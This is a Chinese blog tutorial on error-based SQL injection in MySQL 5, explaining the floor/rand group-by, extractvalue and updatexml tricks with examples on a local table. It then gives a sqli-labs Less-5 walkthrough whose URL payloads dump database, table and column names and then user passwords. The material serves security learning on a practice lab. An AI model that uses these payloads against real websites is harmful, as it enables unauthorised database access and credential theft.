sql报错注入

sql报错注入


特点:页面没有回显点,对正确的sql命令摆出一副正确的姿态,对错误的命令会报告 具体错误

error_bases

此时可以在报告的错误中组合上我们需要的信息实现sql注入

floor报错注入

适用于mysql 5.x.x版本,在8.x.x上实验无效

假设现有一张user表,后面的实验围绕该表展开

mysql> select * from user;
+----+-------+-------+
| id | name  | pass  |
+----+-------+-------+
|  1 | admin | admin |
|  2 | admin | admin |
|  3 | admin | admin |
|  4 | test  | test  |
|  5 | test  | test  |
|  6 | test  | test  |
|  7 | guest | guest |
+----+-------+-------+
7 rows in set (0.01 sec)

mysql> show create table user;
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Table | Create Table                                                                                                                                                                                                                                                                   |
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| user  | CREATE TABLE `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(12) COLLATE utf8_unicode_ci NOT NULL,
  `pass` varchar(12) COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci |
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

rand()

生成 [ 0 , 1 ) [0,1) [0,1)之间的随机数,可以指定参数作为种子

可以通过线性运算扩大值域,比如 2 ∗ r a n d ( ) 2*rand() 2rand()就生成了 [ 0 , 2 ) [0,2) [0,2)上的随机数

floor()

对小数向下取整,如果参数为 r a n d ( 0 ) ∗ 2 rand(0)*2 rand(0)2则结果有周期性

mysql> select floor(rand(0)*2) from user;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+

count()

统计行数用,通常使用 c o u n t ( ∗ ) count(*) count(),其他参数不用管

搭配group by使用:

mysql> select name,count(*) from user group by name;#意味按照 姓名,记录数量 格式查询,统计姓名重复次数
+-------+----------+
| name  | count(*) |
+-------+----------+
| admin |        3 |
| guest |        1 |
| test  |        3 |
+-------+----------+
3 rows in set (0.00 sec)

其中group by后面可以写常量,也可以写变量,还可以写函数,比如:

mysql> select count(*),floor(rand(0)*2)as a from user group by a;

我们预期的查询结果应该是一个两列的表,第一列为count(*),为floor函数返回值的重复次数,然后第二列就是floor函数的返回值.我们希望返回的是,1重复多少次,0重复多少次.

mysql> select floor(rand(0)*2) from user;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+

该结果我们预期的查询结果应该为:

mysql> select count(*),floor(rand(0)*2)as a from user group by a;
+---------+------------------+
| count(*)| 	   a 		|
+---------+------------------+
| 	 3    |        0 		|
| 	 4    |        1 		|
+---------+------------------+

但是在MySQL 5上:

ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'

报错原因

在返回查询结果之前,MySQL会建立一个虚拟的临时表,这个临时表的插入规则如下:

首先计算一下a的值

如果虚拟表中已经存在这个值则其记录数量加一

如果虚拟表中不存在这个值则再计算一下a 的值插入,并记记录数为1

对于命令

mysql> select count(*),floor(rand(0)*2)as a from user group by a;

其执行过程是:

a = f l o o r ( r a n d ( 0 ) ∗ 2 ) a=floor(rand(0)*2) a=floor(rand(0)2)

1.a=0,虚拟表啥也没有,重新计算a=1,向虚拟表中插入1并记录1的次数为1

2.a=1,查虚拟表已经有1了,只需要将1的记录数+1

3.a=1,查虚拟表已经有1了,只需要将1的记录数+1

4.a=0,查虚拟表没有0,重新计算a=1,向虚拟表中插入1但是已经存在1了,发生重复(Duplicate),报错

也就是说,只要是用 f l o o r ( r a n d ( 0 ) ∗ 2 ) floor(rand(0)*2) floor(rand(0)2),并且原表里面有4条以上的记录,就会发生重复插入错误

如果我们向每个a后面都附上相同的其他信息(比如数据库版本号),那么应该仍然会在相同的地方报错,报同样的错误

实验用的MySQL版本为5.7.26,我们预期的插入过程

mysql> select count(*),floor(rand(0)*2)as a from user group by a;
改写为:
mysql> select count(*),concat(version(),floor(rand(0)*2)) as a from user group by a;

a = f l o o r ( r a n d ( 0 ) ∗ 2 ) + v e r s i o n ( ) a=floor(rand(0)*2)+version() a=floor(rand(0)2)+version()

1.a=05.7.26,虚拟表啥也没有,重新计算a=15.7.26,向虚拟表中插入15.7.26并记录15.7.26的次数为1

2.a=15.7.26,查虚拟表已经有15.7.26了,只需要将15.7.26的记录数+1

3.a=15.7.26,查虚拟表已经有15.7.26了,只需要将15.7.26的记录数+1

4.a=05.7.26,查虚拟表没有0,重新计算a=15.7.26,向虚拟表中插入15.7.26但是已经存在15.7.26了,发生重复(Duplicate),报错

我们预期的报错应为:

ERROR 1062 (23000): Duplicate entry '15.7.26' for key '<group_key>'

实验结果:

mysql> select count(*),concat(version(),floor(rand(0)*2))as a from user group by a;
ERROR 1062 (23000): Duplicate entry '5.7.261' for key '<group_key>'

同理可以将version()换成其他命令套路MySQL数据库

mysql> select count(*),concat((select database()),floor(rand(0)*2))as a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry 'earth1' for key '<group_key>'

查询某数据库中某数据表的字段:

select column_name from information_schema.columns where table_schema='<dbname>' and table_name='<tbname>' ;
mysql> select column_name from information_schema.columns where table_schema='earth' and table_name='user';
+-------------+
| column_name |
+-------------+
| id          |
| name        |
| pass        |
+-------------+
3 rows in set (0.00 sec)

注意这里如果不指定数据库table_schema='earth'查询的将会是mysql自带的user表

extractvalue报错注入

MySQL函数原型:

extractvalue(XML_documnet,XPath_string);

前参数是字符串格式的XML文档名

后参数是字符串格式的XML文档路径

返回值是XML中包含所查询值的字符串

在XPath_string处可以写入错误的路径格式,比如以0开头的路径,来达到报错的目的.

无论路径对错,参数上如果有其他命令则都会执行,比如:

mysql> select * from user where id=1 and (extractvalue('',concat('0',(select group_concat(column_name) from information_schema.columns where table_schema='earth' and table_name='user'))));
ERROR 1105 (HY000): XPATH syntax error: 'id,name,pass'
mysql> select * from user where id=1 and (extractvalue('',concat('0',(select group_concat(name) from user))));
ERROR 1105 (HY000): XPATH syntax error: 'admin,admin,admin,test,test,test'

但是为什么报错信息没有全部打印user表里的用户名?

mysql> select * from user;
+----+-------+-------+
| id | name  | pass  |
+----+-------+-------+
|  1 | admin | admin |
|  2 | admin | admin |
|  3 | admin | admin |
|  4 | test  | test  |
|  5 | test  | test  |
|  6 | test  | test  |
|  7 | guest | guest |
+----+-------+-------+
7 rows in set (0.00 sec)

最后一条guest没有显示

原因是extractvalue报错信息有32个字的长度限制,可以使用substr函数逐次观察

sqli-labs less-5

1.查数据库名

?id=1' and (extractvalue('',concat('0',(select database() ))))%23
XPATH syntax error: 'security'

2.查当前数据库表名

id=1' and (extractvalue('',concat('0',(select group_concat(table_name) from information_schema.tables where table_schema=database() ))))%23
XPATH syntax error: 'emails,referers,uagents,users'

3.查users表字段

?id=1' and (extractvalue('',concat('0',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'  ))))%23
XPATH syntax error: 'id,username,password'

4.查users表所有用户的用户名

?id=1' and (extractvalue('',concat('0',substr((select group_concat(username) from users ),1) )))%23
XPATH syntax error: 'Dumb,Angelina,Dummy,secure,stupi'

?id=1' and (extractvalue('',concat('0',substr((select group_concat(username) from users ),33) )))%23
XPATH syntax error: 'd,superman,batman,admin,admin1,a'

?id=1' and (extractvalue('',concat('0',substr((select group_concat(username) from users ),65) )))%23
XPATH syntax error: 'dmin2,admin3,dhakkan,admin4,flag'

5.查users表所有用户的密码

?id=1' and (extractvalue('',concat('0',substr((select group_concat(password) from users ),1) )))%23
XPATH syntax error: 'Dumb,I-kill-you,p@ssword,crappy,'

?id=1' and (extractvalue('',concat('0',substr((select group_concat(password) from users ),33) )))%23
 XPATH syntax error: 'stupidity,genious,mob!le,admin,a'

?id=1' and (extractvalue('',concat('0',substr((select group_concat(password) from users ),65) )))%23
XPATH syntax error: 'dmin1,admin2,admin3,dumbo,admin4'

?id=1' and (extractvalue('',concat('0',substr((select group_concat(password) from users ),97) )))%23
XPATH syntax error: ',flag{youarecool}'

updatexml报错注入

MySQL函数原型:

updatexml(xml_document,xpath_string,new_value);

三个参数都是字符串类型的,

第一个参数为xml文件名

第二个参数为xml文件目录

第三个参数为将文档住符合条件的节点值改为new_value

在注入时,只有第二个参数有利用价值,一和三参数用空字符串忽悠一下就好

mysql> select * from user where id=1 and (updatexml('',concat('0',(select group_concat(name) from user)),''));
ERROR 1105 (HY000): XPATH syntax error: 'admin,admin,admin,test,test,test'
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

灰球球

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值